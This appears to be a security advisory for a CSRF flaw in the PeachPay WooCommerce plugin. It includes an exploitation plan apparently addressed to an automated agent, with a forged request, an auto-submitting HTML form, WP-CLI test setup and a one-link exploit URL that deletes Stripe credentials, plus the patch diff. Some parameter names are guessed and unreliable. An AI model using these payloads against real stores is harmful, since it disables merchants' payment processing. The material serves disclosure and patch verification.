CVE-2026-9618

PeachPay <= 1.120.46 - Cross-Site Request Forgery to Stripe Unlink

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.120.47
Patched in
1d
Time to patch

Description

The PeachPay — Payments & Express Checkout for WooCommerce (supports Stripe, PayPal, Square, Authorize.net, NMI) plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.120.46. This is due to missing or incorrect nonce validation on the peachpay_stripe_handle_admin_actions function. This makes it possible for unauthenticated attackers to permanently delete all stored Stripe credentials — including publishable keys, secret keys, webhook secrets, and Apple Pay configuration — from the WordPress database, disabling Stripe payment processing for the store via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.120.46
PublishedMay 27, 2026
Last updatedMay 28, 2026

What Changed in the Fix

Changes introduced in v1.120.47

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-9618 (PeachPay CSRF to Stripe Unlink) ## 1. Vulnerability Summary The **PeachPay — Payments & Express Checkout for WooCommerce** plugin (up to 1.120.46) is vulnerable to **Cross-Site Request Forgery (CSRF)**. The vulnerability exists in the function `peachpay_…

Show full research plan

Exploitation Research Plan: CVE-2026-9618 (PeachPay CSRF to Stripe Unlink)

1. Vulnerability Summary

The PeachPay — Payments & Express Checkout for WooCommerce plugin (up to 1.120.46) is vulnerable to Cross-Site Request Forgery (CSRF). The vulnerability exists in the function peachpay_stripe_handle_admin_actions located in core/payments/stripe/functions.php (inferred). This function is responsible for administrative tasks related to the Stripe integration, such as unlinking the account or resetting credentials. Because the function fails to perform nonce validation (check_admin_referer or wp_verify_nonce), an attacker can trick an authenticated administrator into making a request that permanently deletes the store's Stripe configuration.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-post.php or /wp-admin/admin-ajax.php (or a catch-all hook on admin_init).
  • Vulnerable Action: The function peachpay_stripe_handle_admin_actions is likely hooked to admin_init or admin_post_peachpay_stripe_admin_action.
  • Payload Parameter: Based on the description "Stripe Unlink", the request likely requires a parameter such as action=peachpay_stripe_admin_action and a sub-action like method=unlink or peachpay_stripe_action=unlink.
  • Authentication Required: The victim must be an authenticated Administrator. The attacker does not need any authentication.
  • Preconditions: The store must have a Stripe account connected via the PeachPay plugin.

3. Code Flow

  1. Entry Point: The plugin registers peachpay_stripe_handle_admin_actions to a high-level hook. Based on typical PeachPay architecture, this is often admin_init to handle redirects and processing before headers are sent.
  2. Trigger: An administrator visits a URL (GET) or submits a form (POST) targeting the administrative action.
  3. Vulnerable Sink: The function peachpay_stripe_handle_admin_actions is reached.
  4. Logic Path:
    • The function checks for a specific parameter (e.g., $_GET['peachpay_stripe_action']).
    • It identifies the action as unlink.
    • Crucially, it skips check_admin_referer().
    • It calls a method like PeachPay_Stripe_Integration::unlink() or delete_option().
  5. Execution: The database options peachpay_stripe_connect_id, peachpay_stripe_public_key, peachpay_stripe_secret_key, etc., are deleted.

4. Nonce Acquisition Strategy

According to the vulnerability description, this endpoint has missing or incorrect nonce validation.

  • Missing Nonce: If the check is entirely missing, the exploit requires no nonce.
  • Incorrect Validation: If the function checks for a nonce but uses a generic action string or fails to terminate on failure, a dummy nonce might be required.

Verification for the Agent:

  1. Check the registration of peachpay_stripe_handle_admin_actions. Use grep -r "peachpay_stripe_handle_admin_actions" . to find the hook.
  2. If it is hooked to admin_init, the exploit can likely be triggered via a simple GET request to /wp-admin/.
  3. If it is hooked to admin_post_..., use admin-post.php.

5. Exploitation Strategy

The goal is to trigger the "Unlink" functionality by tricking the admin browser into sending a request to the WordPress backend.

Step 1: Discover the exact Request format

The agent should look for the "Unlink" button in the PeachPay settings page to see the URL structure.

  • Settings Page: wp-admin/admin.php?page=peachpay-settings&tab=stripe (inferred).
  • Target URL Pattern (Inferred): /wp-admin/admin-post.php?action=peachpay_stripe_unlink

Step 2: Formulate the CSRF Payload

A GET request is the most effective vector if the plugin handles the action on admin_init.

HTTP Request via http_request:

// Example of the forged request that an admin would unknowingly trigger
{
  "method": "GET",
  "url": "http://vulnerable-wp.local/wp-admin/admin-post.php?action=peachpay_stripe_admin_action&sub_action=unlink",
  "headers": {
    "Accept": "text/html"
  }
}

If a POST is required, the agent should simulate an auto-submitting form:

<form id="exploit" action="http://vulnerable-wp.local/wp-admin/admin-post.php" method="POST">
  <input type="hidden" name="action" value="peachpay_stripe_admin_action" />
  <input type="hidden" name="sub_action" value="unlink" />
</form>
<script>document.getElementById('exploit').submit();</script>

6. Test Data Setup

  1. Install WooCommerce & PeachPay: Ensure version <= 1.120.46.
  2. Mock Stripe Connection: PeachPay stores Stripe credentials in the options table. Use WP-CLI to simulate a connected state:
    wp option update peachpay_stripe_connect_id "acct_12345"
    wp option update peachpay_stripe_public_key "pk_test_12345"
    wp option update peachpay_stripe_secret_key "sk_test_12345"
    wp option update peachpay_stripe_gateway_enabled "yes"
    
  3. Verify State: Use wp option get peachpay_stripe_connect_id to confirm data exists.

7. Expected Results

  • Successful Exploit: The server processes the request and redirects the administrator.
  • Database Impact: The Stripe-related options are removed from the wp_options table.
  • Store Impact: Stripe is no longer available as a payment method at checkout.

8. Verification Steps

After performing the HTTP request as the administrator, run the following via WP-CLI:

# Check if the connection ID is gone
wp option get peachpay_stripe_connect_id
# Result should be: Error: Could not get 'peachpay_stripe_connect_id' option.

# Check if the gateway is disabled
wp option get peachpay_stripe_gateway_enabled
# Result should be: "no" (or the option is deleted)

9. Alternative Approaches

  • Action variants: If action=peachpay_stripe_admin_action fails, search the source for any occurrences of delete_option or update_option within the core/payments/stripe/ directory to find the specific parameter that triggers the cleanup.
  • AJAX Endpoint: Check if the action is registered via wp_ajax_peachpay_stripe_unlink. If so, target /wp-admin/admin-ajax.php.
  • Inferred Parameter Names: If sub_action or method doesn't work, common alternatives in PeachPay include peachpay_action, task, or cmd. Use grep -r "\$_GET" core/payments/stripe/ to identify the exact key.
Research Findings
Static analysis — not yet PoC-verified

Summary

The PeachPay plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 1.120.46. This allows an unauthenticated attacker to trick a logged-in administrator into clicking a link that permanently deletes the store's Stripe configuration, including secret keys and webhook secrets.

Vulnerable Code

// core/payments/stripe/functions.php around line 612

if ( isset( $_GET['unlink_stripe'] ) && PeachPay_Stripe_Integration::connected() ) {
	peachpay_unlink_stripe();
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/peachpay-for-woocommerce/1.120.46/core/payments/stripe/functions.php /home/deploy/wp-safety.org/data/plugin-versions/peachpay-for-woocommerce/1.120.47/core/payments/stripe/functions.php
--- /home/deploy/wp-safety.org/data/plugin-versions/peachpay-for-woocommerce/1.120.46/core/payments/stripe/functions.php	2026-05-25 11:21:00.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/peachpay-for-woocommerce/1.120.47/core/payments/stripe/functions.php	2026-05-27 13:40:42.000000000 +0000
@@ -610,6 +610,15 @@
 	}
 
 	if ( isset( $_GET['unlink_stripe'] ) && PeachPay_Stripe_Integration::connected() ) {
+		// Verify nonce to prevent CSRF attacks that could delete Stripe credentials.
+		if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'peachpay-stripe-unlink' ) ) {
+			wp_die( esc_html__( 'Security check failed. Please try again.', 'peachpay-for-woocommerce' ) );
+		}
+
+		if ( ! current_user_can( 'manage_woocommerce' ) ) {
+			wp_die( esc_html__( 'You do not have permission to perform this action.', 'peachpay-for-woocommerce' ) );
+		}
+
 		peachpay_unlink_stripe();
 	}
 }

Exploit Outline

The exploit leverages a missing CSRF check in the administrative Stripe handling logic. An attacker crafts a malicious URL (e.g., http://target-site.com/wp-admin/?unlink_stripe=1) and tricks an authenticated administrator into visiting it. Because the plugin does not validate a nonce or check for the 'manage_woocommerce' capability before executing the unlink action, the request triggers the deletion of the site's Stripe integration data, effectively disabling payment processing for the store.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.